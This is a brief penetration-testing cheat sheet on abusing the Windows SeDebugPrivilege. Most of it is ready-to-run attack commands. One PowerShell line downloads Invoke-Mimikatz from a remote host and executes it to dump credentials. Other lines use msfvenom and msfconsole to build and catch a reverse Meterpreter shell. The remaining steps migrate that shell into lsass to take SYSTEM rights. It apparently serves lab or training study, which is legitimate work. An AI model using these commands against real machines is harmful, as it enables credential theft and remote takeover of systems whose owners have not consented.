# SeDebugPrivilege

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It allows the holder to **debug another process**, this includes reading and **writing** to that **process' memory.** There are a lot of various **memory injection** strategies that can be used with this privilege that evade a majority of AV/HIPS solutions.

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### Mimikatz

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```bash
PS> IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.38/post/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds
```

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### Meterpreter&#x20;

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```bash
# Create a meterpreter shell
Kali> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.38 LPORT=1236 -f exe -o mtp1236.exe 

# Start a listener 
Kali> 
sudo msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/x64/meterpreter/reverse_tcp;set AutoRunScript post/windows/manage/migrate;set LHOST 10.10.14.38;set LPORT 1236;run -j"

# Run a meterpreter shell
CMD> .\mtp1236.exe

# Check uid and privilege
meterpreter> getuid
meterpreter> getprivs

# Process migration to a process running as NT/SYSTEM 
meterpreter> pgrepp lsass 
636
meterpreter> migrate 636

# Check uid and privilege again
meterpreter> getuid
meterpreter> getprivs
```

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### Other exploitations&#x20;

<https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC>\
<https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC><br>


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